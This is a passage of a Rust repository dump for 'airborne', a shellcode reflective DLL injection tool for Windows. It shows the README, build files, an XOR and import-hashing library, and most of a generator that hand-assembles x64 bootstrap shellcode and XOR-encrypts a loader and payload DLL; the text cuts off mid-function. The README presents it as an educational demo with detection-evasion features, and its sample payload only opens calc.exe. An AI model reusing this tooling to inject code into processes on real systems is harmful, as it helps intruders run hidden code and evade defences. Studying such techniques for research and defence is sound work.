├── .cargo └── config ├── .github └── docs │ ├── dllmain-exec.png │ └── userfunction-exec.png ├── .gitignore ├── Cargo.lock ├── Cargo.toml ├── LICENSE ├── README.md ├── common ├── Cargo.toml └── src │ └── lib.rs ├── generator ├── Cargo.toml └── src │ └── main.rs ├── injector ├── Cargo.toml └── src │ ├── inject.rs │ ├── main.rs │ └── process.rs ├── payload ├── Cargo.toml └── src │ └── lib.rs └── reflective_loader ├── Cargo.toml └── src ├── lib.rs └── memory.rs /.cargo/config: -------------------------------------------------------------------------------- 1 | [build] 2 | target = "x86_64-pc-windows-gnu" -------------------------------------------------------------------------------- /.github/docs/dllmain-exec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/17ms/airborne/4a6aff2a34a9f93c7440090ed23045d99484cda4/.github/docs/dllmain-exec.png -------------------------------------------------------------------------------- /.github/docs/userfunction-exec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/17ms/airborne/4a6aff2a34a9f93c7440090ed23045d99484cda4/.github/docs/userfunction-exec.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated by Cargo 2 | # will have compiled files and executables 3 | debug/ 4 | target/ 5 | 6 | # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries 7 | # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html 8 | # Cargo.lock 9 | 10 | # These are backup files generated by rustfmt 11 | **/*.rs.bk 12 | 13 | # MSVC Windows builds of rustc generate these, which store debugging information 14 | *.pdb 15 | 16 | # Local executables/binaries 17 | *.exe 18 | -------------------------------------------------------------------------------- /Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "airborne-common" 7 | version = "0.1.0" 8 | 9 | [[package]] 10 | name = "anstream" 11 | version = "0.6.11" 12 | source = "registry+https://github.com/rust-lang/crates.io-index" 13 | checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5" 14 | dependencies = [ 15 | "anstyle", 16 | "anstyle-parse", 17 | "anstyle-query", 18 | "anstyle-wincon", 19 | "colorchoice", 20 | "utf8parse", 21 | ] 22 | 23 | [[package]] 24 | name = "anstyle" 25 | version = "1.0.6" 26 | source = "registry+https://github.com/rust-lang/crates.io-index" 27 | checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc" 28 | 29 | [[package]] 30 | name = "anstyle-parse" 31 | version = "0.2.3" 32 | source = "registry+https://github.com/rust-lang/crates.io-index" 33 | checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c" 34 | dependencies = [ 35 | "utf8parse", 36 | ] 37 | 38 | [[package]] 39 | name = "anstyle-query" 40 | version = "1.0.2" 41 | source = "registry+https://github.com/rust-lang/crates.io-index" 42 | checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648" 43 | dependencies = [ 44 | "windows-sys", 45 | ] 46 | 47 | [[package]] 48 | name = "anstyle-wincon" 49 | version = "3.0.2" 50 | source = "registry+https://github.com/rust-lang/crates.io-index" 51 | checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7" 52 | dependencies = [ 53 | "anstyle", 54 | "windows-sys", 55 | ] 56 | 57 | [[package]] 58 | name = "cfg-if" 59 | version = "1.0.0" 60 | source = "registry+https://github.com/rust-lang/crates.io-index" 61 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 62 | 63 | [[package]] 64 | name = "clap" 65 | version = "4.4.18" 66 | source = "registry+https://github.com/rust-lang/crates.io-index" 67 | checksum = "1e578d6ec4194633722ccf9544794b71b1385c3c027efe0c55db226fc880865c" 68 | dependencies = [ 69 | "clap_builder", 70 | "clap_derive", 71 | ] 72 | 73 | [[package]] 74 | name = "clap_builder" 75 | version = "4.4.18" 76 | source = "registry+https://github.com/rust-lang/crates.io-index" 77 | checksum = "4df4df40ec50c46000231c914968278b1eb05098cf8f1b3a518a95030e71d1c7" 78 | dependencies = [ 79 | "anstream", 80 | "anstyle", 81 | "clap_lex", 82 | "strsim", 83 | ] 84 | 85 | [[package]] 86 | name = "clap_derive" 87 | version = "4.4.7" 88 | source = "registry+https://github.com/rust-lang/crates.io-index" 89 | checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" 90 | dependencies = [ 91 | "heck", 92 | "proc-macro2", 93 | "quote", 94 | "syn", 95 | ] 96 | 97 | [[package]] 98 | name = "clap_lex" 99 | version = "0.6.0" 100 | source = "registry+https://github.com/rust-lang/crates.io-index" 101 | checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" 102 | 103 | [[package]] 104 | name = "colorchoice" 105 | version = "1.0.0" 106 | source = "registry+https://github.com/rust-lang/crates.io-index" 107 | checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7" 108 | 109 | [[package]] 110 | name = "generator" 111 | version = "0.1.0" 112 | dependencies = [ 113 | "airborne-common", 114 | "clap", 115 | "rand", 116 | "windows-sys", 117 | ] 118 | 119 | [[package]] 120 | name = "getrandom" 121 | version = "0.2.12" 122 | source = "registry+https://github.com/rust-lang/crates.io-index" 123 | checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" 124 | dependencies = [ 125 | "cfg-if", 126 | "libc", 127 | "wasi", 128 | ] 129 | 130 | [[package]] 131 | name = "heck" 132 | version = "0.4.1" 133 | source = "registry+https://github.com/rust-lang/crates.io-index" 134 | checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" 135 | 136 | [[package]] 137 | name = "lexopt" 138 | version = "0.3.0" 139 | source = "registry+https://github.com/rust-lang/crates.io-index" 140 | checksum = "baff4b617f7df3d896f97fe922b64817f6cd9a756bb81d40f8883f2f66dcb401" 141 | 142 | [[package]] 143 | name = "libc" 144 | version = "0.2.152" 145 | source = "registry+https://github.com/rust-lang/crates.io-index" 146 | checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" 147 | 148 | [[package]] 149 | name = "poc-injector" 150 | version = "0.1.0" 151 | dependencies = [ 152 | "airborne-common", 153 | "lexopt", 154 | "windows-sys", 155 | ] 156 | 157 | [[package]] 158 | name = "poc-payload" 159 | version = "0.1.0" 160 | dependencies = [ 161 | "windows-sys", 162 | ] 163 | 164 | [[package]] 165 | name = "ppv-lite86" 166 | version = "0.2.17" 167 | source = "registry+https://github.com/rust-lang/crates.io-index" 168 | checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" 169 | 170 | [[package]] 171 | name = "proc-macro2" 172 | version = "1.0.78" 173 | source = "registry+https://github.com/rust-lang/crates.io-index" 174 | checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" 175 | dependencies = [ 176 | "unicode-ident", 177 | ] 178 | 179 | [[package]] 180 | name = "quote" 181 | version = "1.0.35" 182 | source = "registry+https://github.com/rust-lang/crates.io-index" 183 | checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" 184 | dependencies = [ 185 | "proc-macro2", 186 | ] 187 | 188 | [[package]] 189 | name = "rand" 190 | version = "0.8.5" 191 | source = "registry+https://github.com/rust-lang/crates.io-index" 192 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" 193 | dependencies = [ 194 | "libc", 195 | "rand_chacha", 196 | "rand_core", 197 | ] 198 | 199 | [[package]] 200 | name = "rand_chacha" 201 | version = "0.3.1" 202 | source = "registry+https://github.com/rust-lang/crates.io-index" 203 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 204 | dependencies = [ 205 | "ppv-lite86", 206 | "rand_core", 207 | ] 208 | 209 | [[package]] 210 | name = "rand_core" 211 | version = "0.6.4" 212 | source = "registry+https://github.com/rust-lang/crates.io-index" 213 | checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" 214 | dependencies = [ 215 | "getrandom", 216 | ] 217 | 218 | [[package]] 219 | name = "reflective-loader" 220 | version = "0.1.0" 221 | dependencies = [ 222 | "airborne-common", 223 | "windows-sys", 224 | ] 225 | 226 | [[package]] 227 | name = "strsim" 228 | version = "0.10.0" 229 | source = "registry+https://github.com/rust-lang/crates.io-index" 230 | checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" 231 | 232 | [[package]] 233 | name = "syn" 234 | version = "2.0.48" 235 | source = "registry+https://github.com/rust-lang/crates.io-index" 236 | checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" 237 | dependencies = [ 238 | "proc-macro2", 239 | "quote", 240 | "unicode-ident", 241 | ] 242 | 243 | [[package]] 244 | name = "unicode-ident" 245 | version = "1.0.12" 246 | source = "registry+https://github.com/rust-lang/crates.io-index" 247 | checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" 248 | 249 | [[package]] 250 | name = "utf8parse" 251 | version = "0.2.1" 252 | source = "registry+https://github.com/rust-lang/crates.io-index" 253 | checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" 254 | 255 | [[package]] 256 | name = "wasi" 257 | version = "0.11.0+wasi-snapshot-preview1" 258 | source = "registry+https://github.com/rust-lang/crates.io-index" 259 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 260 | 261 | [[package]] 262 | name = "windows-sys" 263 | version = "0.52.0" 264 | source = "registry+https://github.com/rust-lang/crates.io-index" 265 | checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" 266 | dependencies = [ 267 | "windows-targets", 268 | ] 269 | 270 | [[package]] 271 | name = "windows-targets" 272 | version = "0.52.0" 273 | source = "registry+https://github.com/rust-lang/crates.io-index" 274 | checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" 275 | dependencies = [ 276 | "windows_aarch64_gnullvm", 277 | "windows_aarch64_msvc", 278 | "windows_i686_gnu", 279 | "windows_i686_msvc", 280 | "windows_x86_64_gnu", 281 | "windows_x86_64_gnullvm", 282 | "windows_x86_64_msvc", 283 | ] 284 | 285 | [[package]] 286 | name = "windows_aarch64_gnullvm" 287 | version = "0.52.0" 288 | source = "registry+https://github.com/rust-lang/crates.io-index" 289 | checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" 290 | 291 | [[package]] 292 | name = "windows_aarch64_msvc" 293 | version = "0.52.0" 294 | source = "registry+https://github.com/rust-lang/crates.io-index" 295 | checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" 296 | 297 | [[package]] 298 | name = "windows_i686_gnu" 299 | version = "0.52.0" 300 | source = "registry+https://github.com/rust-lang/crates.io-index" 301 | checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" 302 | 303 | [[package]] 304 | name = "windows_i686_msvc" 305 | version = "0.52.0" 306 | source = "registry+https://github.com/rust-lang/crates.io-index" 307 | checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" 308 | 309 | [[package]] 310 | name = "windows_x86_64_gnu" 311 | version = "0.52.0" 312 | source = "registry+https://github.com/rust-lang/crates.io-index" 313 | checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" 314 | 315 | [[package]] 316 | name = "windows_x86_64_gnullvm" 317 | version = "0.52.0" 318 | source = "registry+https://github.com/rust-lang/crates.io-index" 319 | checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" 320 | 321 | [[package]] 322 | name = "windows_x86_64_msvc" 323 | version = "0.52.0" 324 | source = "registry+https://github.com/rust-lang/crates.io-index" 325 | checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" 326 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [workspace] 2 | resolver = "2" 3 | 4 | members = [ 5 | "injector", 6 | "payload", 7 | "generator", 8 | "reflective_loader", 9 | "common" 10 | ] 11 | 12 | [profile.release] 13 | opt-level = "z" # Optimize for size, but also turn off loop vectorization. 14 | lto = true # Enable Link Time Optimization 15 | codegen-units = 1 # Reduce number of codegen units to increase optimizations. 16 | panic = "abort" # Abort on panic 17 | strip = true # Automatically strip symbols from the binary. 18 | 19 | [profile.dev] 20 | opt-level = "z" # Optimize for size, but also turn off loop vectorization. 21 | lto = true # Enable Link Time Optimization 22 | codegen-units = 1 # Reduce number of codegen units to increase optimizations. 23 | panic = "abort" # Abort on panic 24 | strip = true # Automatically strip symbols from the binary. 25 | 26 | # More information about the profile attributes: https://doc.rust-lang.org/cargo/reference/profiles.html 27 | 28 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 17ms 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Shellcode reflective DLL injection in Rust 2 | 3 | Reflective DLL injection demo for fun and education. In practical applications, there's significant scope for enhancing build sizes, obfuscation, and delivery logic. 4 | 5 | [A blog post describing the technicalities of sRDI.](https://golfed.xyz/blog/understanding-srdi/) 6 | 7 | ### Project Structure 8 | 9 | ```shell 10 | . 11 | ├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data) 12 | ├── injector # PoC injector (CreateRemoteThread) 13 | ├── payload # PoC payload (calc.exe or MessageBoxW based on generator's flag) 14 | ├── reflective_loader # sRDI implementation 15 | └── common # Common XOR and hashing functions 16 | ``` 17 | 18 | ### Features 19 | 20 | - ~14 kB reflective loader 21 | - Hashed import names & indirect function calls 22 | - XOR encrypted payload shellcode 23 | - Shuffled and delayed IDT iteration (during IAT patching) 24 | 25 | ### Usage 26 | 27 | The following command compiles the DLLs and executables into `target/release/`: 28 | 29 | ```shell 30 | $ cargo build --release 31 | ``` 32 | 33 | 1. Generate shellcode containing the loader and the payload: 34 | 35 | ``` 36 | Usage: generator.exe [OPTIONS] --loader --payload --function --parameter --output 37 | 38 | Options: 39 | -l, --loader Path to the sRDI loader DLL 40 | -p, --payload Path to the payload DLL 41 | -f, --function Name of the function to call in the payload DLL 42 | -n, --parameter Parameter to pass to the function 43 | -o, --output Path to the output file 44 | --flag Flag to pass to the loader (by default DllMain is called) [default: 0] 45 | -h, --help Print help 46 | -V, --version Print version 47 | ``` 48 | 49 | 2. Inject the created shellcode into target: 50 | 51 | ``` 52 | Usage: poc-injector.exe -p -s -k 53 | ``` 54 | 55 | 3. Depending on the flag passed to the generator, either `DllMain` with `DLL_PROCESS_ATTACH` or user function with custom parameter is called: 56 | 57 |
58 | Payload's DllMain execution with the default flag (0) 59 | Payload's user defined function execution with the modified flag (1) 60 |
61 | 62 | ### Disclaimer 63 | 64 | Information and code provided on this repository are for educational purposes only. The creator is in no way responsible for any direct or indirect damage caused due to the misuse of the information. 65 | 66 | ### Credits 67 | 68 | - Stephen Fewer ([@stephenfewer](https://github.com/stephenfewer)) for reflective DLL injection 69 | - Nick Landers ([@monoxgas](https://github.com/monoxgas)) for shellcode generator 70 | - [@memN0ps](https://github.com/memN0ps) for bootstrap shellcode 71 | -------------------------------------------------------------------------------- /common/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "airborne-common" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | -------------------------------------------------------------------------------- /common/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![no_std] 2 | 3 | // gen_xor_key isn't required to be a shared module, as it's only used in the shellcode generator 4 | 5 | const DELAY_FLAG: u32 = 0b0001; 6 | const SHUFFLE_FLAG: u32 = 0b0010; 7 | const UFN_FLAG: u32 = 0b0100; 8 | 9 | const HASH_KEY: usize = 5381; 10 | 11 | pub struct Flags { 12 | pub delay: bool, 13 | pub shuffle: bool, 14 | pub ufn: bool, 15 | } 16 | 17 | pub fn parse_u32_flag(flag: u32) -> Flags { 18 | Flags { 19 | delay: flag & DELAY_FLAG != 0, 20 | shuffle: flag & SHUFFLE_FLAG != 0, 21 | ufn: flag & UFN_FLAG != 0, 22 | } 23 | } 24 | 25 | pub fn create_u32_flag(delay: bool, shuffle: bool, ufn: bool) -> u32 { 26 | let mut flags = 0; 27 | 28 | if delay { 29 | flags |= DELAY_FLAG; 30 | } 31 | 32 | if shuffle { 33 | flags |= SHUFFLE_FLAG; 34 | } 35 | 36 | if ufn { 37 | flags |= UFN_FLAG; 38 | } 39 | 40 | flags 41 | } 42 | 43 | pub fn xor_cipher(data: &mut [u8], key: &[u8]) { 44 | for (i, byte) in data.iter_mut().enumerate() { 45 | *byte ^= key[i % key.len()]; 46 | } 47 | } 48 | 49 | pub fn calc_hash(buffer: &[u8]) -> u32 { 50 | let mut hash = HASH_KEY; 51 | 52 | for b in buffer { 53 | if *b == 0 { 54 | continue; 55 | } 56 | 57 | if (&b'a'..=&b'z').contains(&b) { 58 | hash = ((hash << 5).wrapping_add(hash)) + *b as usize - 0x20; 59 | } else { 60 | hash = ((hash << 5).wrapping_add(hash)) + *b as usize; 61 | } 62 | } 63 | 64 | hash as u32 65 | } 66 | -------------------------------------------------------------------------------- /generator/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "generator" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | clap = { version = "4.4.18", features = ["derive"] } 8 | rand = "0.8.5" 9 | airborne-common = { path = "../common" } 10 | 11 | [dependencies.windows-sys] 12 | version = "0.52.0" 13 | features = [ 14 | "Win32_Foundation", 15 | "Win32_System_SystemServices", 16 | "Win32_System_Diagnostics_Debug", 17 | "Win32_System_SystemInformation" 18 | ] 19 | -------------------------------------------------------------------------------- /generator/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::{ 2 | collections::BTreeMap, error::Error, ffi::CStr, fs, path::PathBuf, process::exit, 3 | slice::from_raw_parts, 4 | }; 5 | 6 | use airborne_common::calc_hash; 7 | use clap::{ArgAction, Parser}; 8 | use windows_sys::Win32::{ 9 | System::Diagnostics::Debug::IMAGE_NT_HEADERS64, 10 | System::{ 11 | Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_SECTION_HEADER}, 12 | SystemServices::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY}, 13 | }, 14 | }; 15 | 16 | #[derive(Parser, Debug)] 17 | #[command(version)] 18 | struct Args { 19 | /// Path to the sRDI loader DLL 20 | #[arg(short, long = "loader")] 21 | loader_path: PathBuf, 22 | /// Path to the payload DLL 23 | #[arg(short, long = "payload")] 24 | payload_path: PathBuf, 25 | /// Name of the function to call in the payload DLL 26 | #[arg(short, long = "function")] 27 | function_name: String, 28 | /// Parameter to pass to the function 29 | #[arg(short = 'n', long)] 30 | parameter: String, 31 | /// Path to the output file 32 | #[arg(short, long = "output")] 33 | output_path: PathBuf, 34 | /// Disable randomized delays during IAT patching 35 | #[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)] 36 | no_delay: bool, 37 | /// Disable IAT import descriptor shuffling 38 | #[arg(short, long, action = ArgAction::SetFalse, default_value_t = true)] 39 | no_shuffle: bool, 40 | /// Call payload's user defined function instead of DllMain 41 | #[arg(short, long, action = ArgAction::SetTrue, default_value_t = false)] 42 | ufn: bool, 43 | } 44 | 45 | // NOTE: must be updated accordingly if the loader name or the bootstrap code is modified 46 | const LOADER_ENTRY_NAME: &str = "loader"; 47 | const BOOTSTRAP_TOTAL_LENGTH: u32 = 79; 48 | 49 | fn main() { 50 | let args = Args::parse(); 51 | 52 | // (bool, bool, bool) -(OR)-> u32 53 | let combined_flag = airborne_common::create_u32_flag(args.no_delay, args.no_shuffle, args.ufn); 54 | 55 | // preserve the path from being dropped 56 | let output_path = args.output_path.clone(); 57 | 58 | // prepare paths for pretty printing 59 | let loader_path_str = args.loader_path.to_str().unwrap(); 60 | let payload_path_str = args.payload_path.to_str().unwrap(); 61 | let output_path_str = args.output_path.to_str().unwrap(); 62 | 63 | println!("[+] reflective loader: {}", loader_path_str); 64 | println!("[+] payload: {}", payload_path_str); 65 | println!("[+] output: {}", output_path_str); 66 | 67 | let mut loader_b = match fs::read(args.loader_path) { 68 | Ok(b) => b, 69 | Err(e) => { 70 | eprintln!("[-] failed to read loader DLL: {}", e); 71 | exit(1); 72 | } 73 | }; 74 | 75 | let mut payload_b = match fs::read(args.payload_path) { 76 | Ok(b) => b, 77 | Err(e) => { 78 | eprintln!("[-] failed to read payload DLL: {}", e); 79 | exit(1); 80 | } 81 | }; 82 | let function_hash = calc_hash(args.function_name.as_bytes()); 83 | 84 | let mut shellcode = match gen_sc( 85 | &mut loader_b, 86 | &mut payload_b, 87 | function_hash, 88 | args.parameter, 89 | combined_flag, 90 | ) { 91 | Ok(sc) => sc, 92 | Err(e) => { 93 | eprintln!("[-] failed to generate shellcode: {}", e); 94 | exit(1); 95 | } 96 | }; 97 | 98 | println!("\n[+] xor'ing shellcode"); 99 | let key = gen_xor_key(shellcode.len()); 100 | airborne_common::xor_cipher(&mut shellcode, &key); 101 | let mut key_output_path = output_path.clone().into_os_string(); 102 | key_output_path.push(".key"); 103 | 104 | // prepare path for pretty printing 105 | let key_output_path_str = key_output_path.to_str().unwrap(); 106 | 107 | println!( 108 | "\n[+] writing shellcode to '{}' and xor key to '{}'", 109 | output_path_str, key_output_path_str 110 | ); 111 | 112 | match fs::write(output_path, shellcode) { 113 | Ok(_) => (), 114 | Err(e) => { 115 | eprintln!("[-] failed to write shellcode to output file: {}", e); 116 | exit(1); 117 | } 118 | }; 119 | 120 | match fs::write(key_output_path, key) { 121 | Ok(_) => (), 122 | Err(e) => { 123 | eprintln!("[-] failed to write xor key to output file: {}", e); 124 | exit(1); 125 | } 126 | }; 127 | } 128 | 129 | fn gen_sc( 130 | loader_b: &mut Vec, 131 | payload_b: &mut Vec, 132 | function_hash: u32, 133 | parameter: String, 134 | flag: u32, 135 | ) -> Result, Box> { 136 | let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)?; 137 | let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize; 138 | println!("[+] loader offset: {:#x}", loader_offset); 139 | 140 | // 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode 141 | 142 | let parameter_offset = 143 | BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32 + payload_b.len() as u32; 144 | let payload_offset = BOOTSTRAP_TOTAL_LENGTH - 5 + loader_b.len() as u32; 145 | 146 | // 1.) save the current location in memory for calculating offsets later 147 | let b1: Vec = vec![ 148 | 0xe8, 0x00, 0x00, 0x00, 0x00, // call 0x00 149 | 0x59, // pop rcx 150 | 0x49, 0x89, 0xc8, // mov r8, rcx 151 | ]; 152 | 153 | // 2.) align the stack and create shadow space 154 | let b2: Vec = vec![ 155 | 0x56, // push rsi 156 | 0x48, 157 | 0x89, 158 | 0xe6, // mov rsi, rsp 159 | 0x48, 160 | 0x83, 161 | 0xe4, 162 | 0xf0, // and rsp, 0x0FFFFFFFFFFFFFFF0 163 | 0x48, 164 | 0x83, 165 | 0xec, 166 | 6 * 8, // sub rsp, 0x30 167 | ]; 168 | 169 | // 3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack 170 | let b3: Vec = vec![ 171 | 0x48, 172 | 0x89, 173 | 0x4C, 174 | 0x24, 175 | 4 * 8, // mov qword ptr [rsp + 0x20], rcx 176 | 0x48, 177 | 0x83, 178 | 0x6C, 179 | 0x24, 180 | 4 * 8, 181 | 5, // sub qword ptr [rsp + 0x20], 0x5 182 | 0xC7, 183 | 0x44, 184 | 0x24, 185 | 5 * 8, // mov dword ptr [rsp + 0x28], 186 | ] 187 | .into_iter() 188 | .chain(flag.to_le_bytes().to_vec()) 189 | .collect(); 190 | 191 | // 4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9 192 | let b4: Vec = vec![0x41, 0xb9] 193 | .into_iter() 194 | .chain((parameter.len() as u32).to_le_bytes().to_vec()) 195 | .chain(vec![ 196 | 0x49, 0x81, 0xc0, // add r8, + 197 | ]) 198 | .chain(parameter_offset.to_le_bytes().to_vec()) 199 | .chain(vec![ 200 | 0xba, // mov edx, 201 | ]) 202 | .chain(function_hash.to_le_bytes().to_vec()) 203 | .chain(vec![ 204 | 0x48, 0x81, 0xc1, // add rcx, 205 | ]) 206 | .chain(payload_offset.to_le_bytes().to_vec()) 207 | .collect(); 208 | 209 | // 5.) call the reflective loader 210 | let bootstrap_len = b1.len() + b2.len() + b3.len() + b4.len() + 1; 211 | let loader_addr = (BOOTSTRAP_TOTAL_LENGTH - bootstrap_len as u32 - 4) + loader_offset as u32; 212 | let b5: Vec = vec![ 213 | 0xe8, // call 214 | ] 215 | .into_iter() 216 | .chain(loader_addr.to_le_bytes().to_vec()) 217 | .chain(vec![ 218 | 0x90, 0x90, // padding 219 | ]) 220 | .collect(); 221 | 222 | // 6.) restore the stack and return to the original location (caller) 223 | let b6: Vec = vec![ 224 | 0x48, 0x89, 0xf4, // mov rsp, rsi 225 | 0x5e, // pop rsi 226 | 0xc3, // ret 227 | 0x90, 0x90, // padding 228 | ]; 229 | 230 | let mut bootstrap: Vec = b1 231 | .into_iter() 232 | .chain(b2) 233 | .chain(b3) 234 | .chain(b4) 235 | .chain(b5) 236 | .chain(b6) 237 | .collect(); 238 | 239 | if bootstrap.len() != BOOTSTRAP_TOTAL_LENGTH as usize { 240 | return Err("invalid bootstrap length".into()); 241 | } 242 | 243 | println!("[+] bootstrap size: {} bytes", bootstrap.len()); 244 | println!("[+] reflective loader size: {} kB", loader_b.len() / 1024); 245 | println!("[+] payload size: {} kB", payload_b.len() / 1024); 246 | 247 | let mut shellcode = Vec::new(); 248 | 249 | shellcode.append(&mut bootstrap); 250 | shellcode.append(loader_b); 251 | shellcode.append(payload_b); 252 | shellcode.append(&mut parameter.as_bytes().to_vec()); 253 | 254 | /* 255 | the final PIC shellcode will have the following memory layout: 256 | - bootstrap 257 | - sRDI shellcode 258 | - payload DLL bytes 259 | - user data 260 | */ 261 | 262 | println!("\n[+] total shellcode size: {} kB", shellcode.len() / 1024); 263 | println!("\n[+] loader(payload_dll_ptr: *mut c_void, function_hash: u32, user_data_ptr: *mut c_void, user_data_len: u32, shellcode_bin_ptr: *mut c_void, flag: u32)"); 264 | println!( 265 | "[+] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]" 266 | ); 267 | println!( 268 | "[+] rcx: {:#x} rdx: {:#x} r8: {}, r9: {:#x}, arg5: shellcode.bin address, arg6: {}", 269 | payload_offset, 270 | function_hash, 271 | parameter, 272 | parameter.len(), 273 | flag 274 | ); 275 | 276 | Ok(shellcode) 277 | } 278 | 279 | fn gen_xor_key(keysize: usize) -> Vec { 280 | let mut key = Vec::new(); 281 | 282 | for _ in 0..keysize { 283 | key.push(rand::random::()); 284 | } 285 | 286 | key 287 | } 288 | 289 | fn export_ptr_by_name(base_ptr: *mut u8, name: &str) -> Result<*mut u8, Box> { 290 | for (e_name, addr) in unsafe { get_exports(base_ptr)? } { 291 | if e_name == name { 292 | return Ok(addr as _); 293 | } 294 | } 295 | 296 | Err(format!("failed to find export by name: {}", name).into()) 297 | } 298 | 299 | unsafe fn get_exports(base_ptr: *mut u8) -> Result, Box> { 300 | let mut exports = BTreeMap::new(); 301 | 302 | let dos_header_ptr = base_ptr as *mut IMAGE_DOS_HEADER; 303 | 304 | if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE { 305 | return Err("failed to get DOS header for the export".into()); 306 | } 307 | 308 | let nt_header_ptr = rva_mut::(base_ptr, (*dos_header_ptr).e_lfanew as _); 309 | 310 | let export_dir_ptr = rva_to_offset( 311 | base_ptr as _, 312 | &*nt_header_ptr, 313 | (*nt_header_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] 314 | .VirtualAddress, 315 | )? as 